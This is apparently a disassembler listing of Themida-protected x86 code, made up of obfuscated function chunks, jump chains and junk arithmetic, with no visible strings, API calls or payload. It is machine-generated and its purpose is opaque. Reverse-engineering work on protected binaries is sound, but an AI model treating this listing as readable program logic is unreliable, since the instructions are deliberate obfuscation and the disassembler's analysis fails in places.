; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56EE46:				; CODE XREF: sub_561418+13657j
		shl	ecx, 3
		jmp	loc_569010
; ---------------------------------------------------------------------------


loc_56EE4E:				; CODE XREF: sub_561418+10A74j
		mov	ebp, [esp-4+arg_0]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56731E
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_56EE5F:				; CODE XREF: sub_56FB8A-E2Ej
		mov	edx, 73AB218Eh
		jmp	loc_56CDBD
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_56EE69:				; CODE XREF: sub_571088+20CBj
		mov	edx, 4
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp-0Ch+arg_8]
		pop	esp
		sub	bl, al
		push	small 566Fh
		mov	word ptr [esp-0Eh+arg_8+2], cx
		jmp	loc_56F395
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E96D


loc_56EE8A:				; CODE XREF: sub_56E96D-2134j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56E96D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_56EE8F:				; CODE XREF: sub_566117+203Dj
		xor	ebp, eax
		jmp	loc_5613B0
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574287


loc_56EE96:				; CODE XREF: sub_574287-56CEj
		mov	[esp+4+var_4], ebp
		push	esp
		jmp	loc_5678A4
; END OF FUNCTION CHUNK	FOR sub_574287

; =============== S U B	R O U T	I N E =======================================



sub_56EE9F	proc near		; DATA XREF: Themida_:0055FE08o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056016B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00560804 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00561279 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562381 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005627A1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00563B75 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00564BB3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00564C68 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056897E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056AD87 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056C65D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056CCF4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056DBC3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00571597 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00572930 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00575121 SIZE 00000011 BYTES

		push	3382h
		mov	[esp+4+var_4], ebp
		mov	ebp, 2B5A6F22h
		push	eax
		push	ebx
		jmp	loc_56CCF4
sub_56EE9F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56EEB3:				; CODE XREF: sub_57146D+B65j
		add	esp, 2
		jmp	loc_56D85F
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CBE


loc_56EEBE:				; CODE XREF: sub_574CBE-A389j
		add	eax, 7831597Dh
		push	edx
		mov	edx, 52C87268h
		jmp	loc_572639
; END OF FUNCTION CHUNK	FOR sub_574CBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5662F9


loc_56EECE:				; CODE XREF: sub_5662F9+53j
		add	ecx, ebp
		mov	ebp, [esp+8+var_8]
		push	0EB7h
		mov	[esp+0Ch+var_C], esi
		mov	esi, esp
		push	14F0h
		jmp	loc_56BB6B
; END OF FUNCTION CHUNK	FOR sub_5662F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566B79


loc_56EEE7:				; CODE XREF: sub_566B79+16j
		add	[esp+4], ecx
		add	dword ptr [esp+4], 6D251A85h
		pop	ecx
		pop	dword ptr [esp+0]
		push	2F53h
		jmp	loc_564905
; END OF FUNCTION CHUNK	FOR sub_566B79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565B6E


loc_56EF01:				; CODE XREF: sub_565B6E-12B9j
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	edi
		push	ebp
		mov	ebp, 45B67638h
		jmp	loc_563F1E
; END OF FUNCTION CHUNK	FOR sub_565B6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564CDA


loc_56EF17:				; CODE XREF: sub_564CDA+A55j
		sub	ebp, 0D9861ADh
		jmp	loc_563CE1
; END OF FUNCTION CHUNK	FOR sub_564CDA

; =============== S U B	R O U T	I N E =======================================



sub_56EF22	proc near		; DATA XREF: Themida_:0055FF10o
		mov	esp, [esp+0]
		jmp	loc_55FF9F
sub_56EF22	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56EF2A:				; CODE XREF: sub_563A7F+58E2j
		mov	edx, 0
		sub	edx, 679C747Ch
		jmp	loc_5601BF
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_56EF3A:				; CODE XREF: sub_571F6F-76F8j
		pop	edi
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		push	20C7h
		mov	[esp+4+var_4], ebx
		push	5CACh
		mov	[esp+8+var_8], ecx
		push	eax
		mov	ah, dl
		jmp	loc_5671FF
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------


loc_56EF59:				; CODE XREF: Themida_:005716B2j
		sub	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 4
		sub	edx, ebp
		jmp	loc_564D97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56EF77:				; CODE XREF: sub_5605BC+13923j
		xor	edx, ebx
		pop	ebx
		sub	edx, 4747672Eh
		mov	esi, edx
		pop	edx
		jmp	loc_574088
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D3AF


loc_56EF88:				; CODE XREF: sub_56D3AF+392Aj
		mov	[esp+8+var_8], ebx
		push	esi
		mov	esi, 78B5160Bh
		mov	ebx, esi
		pop	esi
		xor	ebx, 14F34D30h
		sub	ebx, 0FDFE58D2h
		add	ebx, 91B7FD9Bh
		push	1183h
		jmp	loc_561A46
; END OF FUNCTION CHUNK	FOR sub_56D3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_56EFB0:				; CODE XREF: sub_570E81-35CAj
		mov	edx, 1CAB5663h
		jmp	loc_56CC51
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_56EFBA:				; CODE XREF: sub_571F6F-816Aj
		sub	bl, 70h
		push	dx
		mov	dl, 8Ch
		add	bl, dl
		pop	dx
		jmp	loc_570E67
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680FB


loc_56EFCA:				; CODE XREF: sub_5680FB+8CAFj
		push	[esp+8+var_8]
		jmp	loc_56227E
; END OF FUNCTION CHUNK	FOR sub_5680FB

; =============== S U B	R O U T	I N E =======================================



sub_56EFD2	proc near		; CODE XREF: sub_5716E8-3F28j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00560D1D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00562643 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00562F18 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00563A6E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00564DC5 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005688AD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B685 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056DF65 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005707E8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00570983 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005715BD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00573939 SIZE 00000005 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		jmp	loc_56DF65
sub_56EFD2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B71F


loc_56EFDD:				; CODE XREF: sub_56B71F-155Aj
		xor	ebp, edx
		xor	edx, ebp
		jmp	loc_56F3FE
; END OF FUNCTION CHUNK	FOR sub_56B71F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680AC


loc_56EFE6:				; CODE XREF: sub_5680AC+2j
		pop	ebp
		not	edx
		inc	edx
		dec	edx
		shl	edx, 4
		add	edx, 602D6F75h
		jmp	loc_566935
; END OF FUNCTION CHUNK	FOR sub_5680AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C0A


loc_56EFF9:				; CODE XREF: sub_571C0A+2D3Aj
		add	ebx, edi
		xor	ecx, [ebx]
		pop	ebx
		push	edx
		push	ebp
		push	6BA333D1h
		pop	ebp
		sub	ebp, 2B146DC0h
		xor	ebp, 393B63DFh
		jmp	loc_567D17
; END OF FUNCTION CHUNK	FOR sub_571C0A
; ---------------------------------------------------------------------------


loc_56F017:				; CODE XREF: Themida_:005701E6j
		mov	edx, 0CC977E4h
		mov	eax, edx
		pop	edx
		add	eax, 1E47DD1Ah
		jmp	loc_569E8E

; =============== S U B	R O U T	I N E =======================================



sub_56F029	proc near		; DATA XREF: Themida_:0055FF18o

var_4		= word ptr -4
var_2		= word ptr -2

		xor	[esp+0], bp
		xor	bp, [esp+0]
		xor	[esp+0], bp
		push	bp
		push	small 692Bh
		mov	[esp+4+var_4], bx
		pop	bp
		pop	bx
		push	small 4456h
		mov	[esp+2+var_2], bx
		jmp	sub_561826
sub_56F029	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574503


loc_56F050:				; CODE XREF: sub_574503+12j
		push	esi
		mov	esi, 703E3D20h
		not	esi
		inc	esi
		add	esi, 1EAC739Eh
		or	esi, 64992F53h
		add	esi, 1100C085h
		sub	ebx, esi
		pop	esi
		xchg	ebx, [esp+4+var_4]
		jmp	loc_56BBFA
; END OF FUNCTION CHUNK	FOR sub_574503
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568D93


loc_56F076:				; CODE XREF: sub_568D93+A3A3j
		mov	ebx, 5E6776ACh
		jmp	sub_568F83
; END OF FUNCTION CHUNK	FOR sub_568D93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571289


loc_56F080:				; CODE XREF: sub_571289+135Bj
		dec	esi
		or	esi, 36AF750Ch
		jmp	loc_56046F
; END OF FUNCTION CHUNK	FOR sub_571289
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56F08C:				; CODE XREF: sub_574656-AA3Ej
		mov	[esp+0Ch+var_C], esi
		push	edi
		mov	edi, 3BB1319Bh
		push	ebx
		push	eax
		mov	eax, 73731516h
		mov	ebx, eax
		jmp	loc_573E66
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_56F0A3:				; CODE XREF: sub_571C93-67EEj
		add	ecx, 0CCBE5A1h
		xor	ecx, eax
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		sub	edi, ecx
		pop	ecx
		jmp	loc_561806
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_56F0B9:				; CODE XREF: sub_561F05+5606j
		push	ecx
		pop	ebx
		pop	ecx
		dec	ebx
		sub	ebx, 499B3488h
		xor	ebx, 4A1015CCh
		push	ebp
		sub	esp, 4
		mov	[esp+10h+var_10], esi
		mov	esi, 4B62424Ch
		mov	ebp, 7829B116h
		jmp	loc_56FD40
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_56F0E2:				; CODE XREF: sub_571F6F-6463j
		mov	dh, cl
		mov	bh, dh
		jmp	loc_5609AC
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_56F0EB:				; CODE XREF: sub_571088-A666j
		add	al, ch
		pop	cx
		mov	dx, [esp+0]
		add	esp, 2
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		jmp	loc_560FDF
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_56F10C:				; CODE XREF: sub_5734A7-72BCj
		pop	esp
		push	0
		push	[esp+8+var_8]
		mov	ebx, [esp+0Ch+var_C]
		push	edi
		jmp	loc_56B1FF
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566882


loc_56F11E:				; CODE XREF: sub_566882+13j
		xchg	ebx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		jmp	sub_565849
; END OF FUNCTION CHUNK	FOR sub_566882
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565849


loc_56F132:				; CODE XREF: sub_565849+CFECj
		pop	esp
		jmp	loc_564D45
; END OF FUNCTION CHUNK	FOR sub_565849
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C474


loc_56F138:				; CODE XREF: sub_56C474-211Cj
		add	esp, 4
		add	ebx, edi
		pop	edi
		jmp	loc_56B03C
; END OF FUNCTION CHUNK	FOR sub_56C474
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_56F143:				; CODE XREF: sub_56B1DC+8011j
		push	7B4B7CD1h
		pop	ecx
		jmp	loc_56D482
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CF5


loc_56F14E:				; CODE XREF: sub_567CF5+69D9j
		xchg	esi, [esp+0]
		jmp	loc_574BD7
; END OF FUNCTION CHUNK	FOR sub_567CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_56F156:				; CODE XREF: sub_56102D+684Cj
		push	[esp-4+arg_0]
		pop	ecx
		push	11E1h
		mov	[esp+0], ecx
		sub	esp, 4
		mov	[esp+4+var_4], esp
		push	edx
		mov	edx, 4
		add	[esp+8+var_4], edx
		pop	edx
		pop	ecx
		add	ecx, 4
		push	76F7h
		jmp	loc_5608DA
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_56F187:				; CODE XREF: sub_568E5C-82B0j
		mov	esp, [esp+0]
		jmp	loc_56E02C
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_56F18F:				; CODE XREF: sub_5713A7-5EB1j
		mov	[esp+8+var_8], edi
		mov	edi, 9CD0959h
		sub	edx, edi
		pop	edi
		push	5C1Ah
		jmp	loc_56F520
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------


loc_56F1A4:				; CODE XREF: Themida_:00565C54j
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56F1A9:				; CODE XREF: sub_570732-6B5j
		add	ebx, esi
		pop	esi
		jmp	loc_5707F1
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56F1B1:				; CODE XREF: sub_574304-28DDj
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edi
		push	4000h
		pop	edi
		and	eax, edi
		push	[esp-4+arg_0]
		mov	edi, [esp+0]
		push	ebp
		push	esp
		pop	ebp
		push	eax
		jmp	loc_565734
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56F1CF:				; CODE XREF: sub_561418+10E13j
		sub	eax, edi
		sub	eax, 7AEA6268h
		jmp	loc_575031
; END OF FUNCTION CHUNK	FOR sub_561418

; =============== S U B	R O U T	I N E =======================================



sub_56F1DB	proc near		; CODE XREF: sub_569CBC-5AB7j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005600B7 SIZE 0000005E BYTES
; FUNCTION CHUNK AT 0056028B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00562DC6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056332D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00564D11 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566F28 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00568EF4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00569450 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056953E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056ADBE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056C934 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056F4F2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056FE40 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571C1E SIZE 0000001B BYTES

		push	ebp
		jmp	loc_562DC6
sub_56F1DB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_56F1E1:				; CODE XREF: sub_569193+7729j
		mov	edi, [esp+10h+var_10]
		jmp	loc_5749FD
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56306E


loc_56F1E9:				; CODE XREF: sub_56306E+11404j
		add	ecx, edx
		jmp	loc_5645A0
; END OF FUNCTION CHUNK	FOR sub_56306E

; =============== S U B	R O U T	I N E =======================================



sub_56F1F0	proc near		; CODE XREF: sub_566F55+6106j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005620E1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00562931 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00566F4A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00574CFA SIZE 0000000C BYTES

		push	ebp
		mov	ebp, 760B3D46h
		jmp	loc_566F4A
sub_56F1F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_56F1FB:				; CODE XREF: sub_5754DA-D5A9j
		pop	dx
		jmp	loc_56CE82
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_56F202:				; CODE XREF: sub_57523A-F846j
		mov	edx, [esp+8+var_8]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		push	esi
		push	eax
		mov	eax, 2CC13FBAh
		shl	eax, 6
		neg	eax
		sub	eax, 729D3DC6h
		jmp	loc_567E8B
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_56F22B:				; CODE XREF: sub_56651E+758Fj
		push	esp
		jmp	loc_569DD2
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56F231:				; CODE XREF: sub_564D26-3D7Aj
		not	[esp+10h+var_10]
		jmp	loc_569FB0
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------


loc_56F239:				; CODE XREF: Themida_:00570782j
		add	edx, 4
		jmp	loc_56CF90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5745B5


loc_56F244:				; CODE XREF: sub_5745B5-12F7Dj
		mov	ch, dh
		jmp	loc_56FCC4
; END OF FUNCTION CHUNK	FOR sub_5745B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_56F24B:				; CODE XREF: sub_566400-52F9j
		add	eax, edi
		pop	edi
		sub	eax, edx
		sub	eax, 1DF80501h
		pop	edx
		jmp	loc_568448
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------


loc_56F25B:				; CODE XREF: Themida_:00572878j
		add	ebp, esi
		pop	esi
		push	ebx
		push	eax
		jmp	loc_56E4BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FCD7


loc_56F265:				; CODE XREF: sub_56FCD7-AA86j
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_573D7F
; END OF FUNCTION CHUNK	FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56F26D:				; CODE XREF: sub_565632+E729j
		add	ebx, ebp
		add	ebx, 499E6BF9h
		add	ebx, 1D4275CDh
		add	ebx, 502F1CDEh
		jmp	loc_568808
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680FB


loc_56F286:				; CODE XREF: sub_5680FB+11j
		xchg	ebp, [esp+4+var_4]
		sub	esp, 4
		jmp	loc_56B7A6
; END OF FUNCTION CHUNK	FOR sub_5680FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56F294:				; CODE XREF: sub_57146D-1116Bj
		xor	al, bh
		mov	ebx, [esp+4+var_4]
		jmp	loc_56D835
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5715F0


loc_56F29E:				; CODE XREF: sub_5715F0-D834j
		add	dword ptr [esp+8], 6D49345Ch
		pop	ecx
		jmp	loc_560296
; END OF FUNCTION CHUNK	FOR sub_5715F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56F2AC:				; CODE XREF: sub_57146D-CBFj
		xor	bh, ah
		add	ah, 0FFh
		not	ah
		sub	esp, 2
		mov	word ptr [esp+8+var_8],	dx
		push	38A9h
		mov	[esp+0Ch+var_C], ecx
		mov	ch, ah
		mov	dh, ch
		pop	ecx
		push	edx
		push	eax
		mov	al, bh
		mov	dl, al
		pop	eax
		mov	ah, dl
		pop	edx
		push	ecx
		mov	cl, dh
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	dl, cl
		push	ecx
		mov	cl, dl
		jmp	loc_571F92
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56F2EA:				; CODE XREF: sub_565632+8E48j
		push	edx
		jmp	loc_573D30
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575315


loc_56F2F0:				; CODE XREF: sub_575315-C889j
		mov	ebp, [esp+0]
		add	esp, 4
		xor	ebp, 5820000Ch
		jmp	loc_563583
; END OF FUNCTION CHUNK	FOR sub_575315
; ---------------------------------------------------------------------------


loc_56F304:				; CODE XREF: Themida_:00573C8Fj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_56C0DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_56F318:				; CODE XREF: sub_571088-5EE0j
		dec	edi
		xor	edi, 1732C7Bh
		xor	edi, 59D34262h
		add	ebp, edi
		pop	edi
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_564134
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_56F333:				; CODE XREF: sub_569AB3-9A62j
		add	eax, 0B9C1BC92h
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		jmp	loc_5749EE
; END OF FUNCTION CHUNK	FOR sub_569AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD36


loc_56F343:				; CODE XREF: sub_56BD36-9EB9j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56BD36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA44


loc_56F348:				; CODE XREF: sub_56FA44+498j
		mov	esp, [esp+0]
		shr	[esp-4+arg_0], cl
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56FA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_56F355:				; CODE XREF: sub_571890+3669j
		add	esi, edx
		pop	edx
		xchg	esi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	2864h
		mov	[esp-4+arg_0], ebx
		push	6A17h
		mov	[esp+0], ecx
		mov	ecx, 65577F12h
		dec	ecx
		jmp	loc_5698E7
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5610CE


loc_56F379:				; CODE XREF: sub_5610CE+10177j
		pop	edx
		jmp	loc_568A5E
; END OF FUNCTION CHUNK	FOR sub_5610CE
; ---------------------------------------------------------------------------


loc_56F37F:				; CODE XREF: Themida_:0056CECDj
		pop	edx
		or	edi, esi
		pop	esi
		push	10B4h
		mov	[esp], ebx
		mov	ebx, 539B409Ch
		jmp	loc_568780
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_56F395:				; CODE XREF: sub_571088-2203j
		mov	cl, 0D4h
		add	bl, cl
		jmp	loc_565713
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_56F39E:				; CODE XREF: sub_56B06D-4E70j
		xor	ebp, 6341375Eh
		inc	ebp
		and	ebp, 3D994820h
		neg	ebp
		jmp	loc_5667AC
; END OF FUNCTION CHUNK	FOR sub_56B06D

; =============== S U B	R O U T	I N E =======================================



sub_56F3B2	proc near		; DATA XREF: Themida_:0055FEB0o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560A35 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00562C1F SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005651F2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005671B2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569408 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056C953 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056CE2A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056DBE5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056DF43 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056E88D SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00571D2B SIZE 00000008 BYTES

		mov	cx, [esp+0]
		jmp	loc_571D2B
sub_56F3B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_56F3BB:				; CODE XREF: sub_569FB8+6B5Bj
		mov	dh, ah
		push	ecx
		mov	ch, dh
		mov	bl, ch
		pop	ecx
		pop	edx
		push	[esp+0Eh+var_E]
		pop	eax
		add	esp, 4
		mov	ecx, [esp+0Ah+var_A]
		push	5AB2h
		mov	[esp+0Eh+var_E], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0Eh+var_E]
		jmp	loc_5745CF
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56F3EC:				; CODE XREF: sub_565632+5F05j
		push	edi
		mov	edi, 43492386h
		and	ecx, edi
		jmp	loc_574716
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573612


loc_56F3F9:				; CODE XREF: sub_573612-896Cj
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_573612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B71F


loc_56F3FE:				; CODE XREF: sub_56B71F+38C2j
		not	ebp
		sub	esp, 4
		jmp	loc_567F67
; END OF FUNCTION CHUNK	FOR sub_56B71F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DD54


